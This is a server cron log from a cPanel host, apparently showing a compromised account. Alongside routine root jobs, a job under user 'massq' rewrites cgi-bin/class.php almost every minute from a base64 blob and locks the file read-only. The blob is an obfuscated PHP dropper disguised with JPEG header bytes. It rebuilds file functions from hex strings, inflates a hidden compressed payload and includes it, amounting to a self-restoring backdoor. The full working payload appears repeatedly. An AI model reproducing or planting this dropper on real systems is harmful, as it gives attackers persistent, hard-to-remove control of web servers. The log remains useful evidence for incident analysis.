Sep  7 15:42:01 server CROND[27498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:42:01 server CROND[27499]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 15:42:01 server CROND[27497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:42:01 server CROND[27502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:43:01 server CROND[27890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:43:01 server CROND[27891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:43:01 server CROND[27892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:44:01 server CROND[28367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:44:01 server CROND[28369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:44:01 server CROND[28368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:45:01 server CROND[28757]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:45:01 server CROND[28760]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:45:01 server CROND[28763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:45:01 server CROND[28759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:45:01 server CROND[28761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:45:01 server CROND[28762]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:45:01 server CROND[28764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:46:01 server CROND[29583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:46:01 server CROND[29584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:46:01 server CROND[29585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:47:01 server CROND[30041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:47:01 server CROND[30042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:47:01 server CROND[30043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:48:01 server CROND[30508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:48:01 server CROND[30509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:48:01 server CROND[30510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:49:01 server CROND[31022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:49:01 server CROND[31023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:49:01 server CROND[31024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:50:01 server CROND[31417]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:50:01 server CROND[31418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:50:01 server CROND[31422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:50:01 server CROND[31427]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:50:01 server CROND[31426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:50:01 server CROND[31429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:50:01 server CROND[31431]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 15:50:01 server CROND[31428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:50:01 server CROND[31424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:51:01 server CROND[32276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:51:01 server CROND[32277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:51:01 server CROND[32278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:52:01 server CROND[32671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:52:01 server CROND[32672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:52:01 server CROND[32673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:53:01 server CROND[667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:53:01 server CROND[668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:53:01 server CROND[669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:54:01 server CROND[1287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:54:01 server CROND[1289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
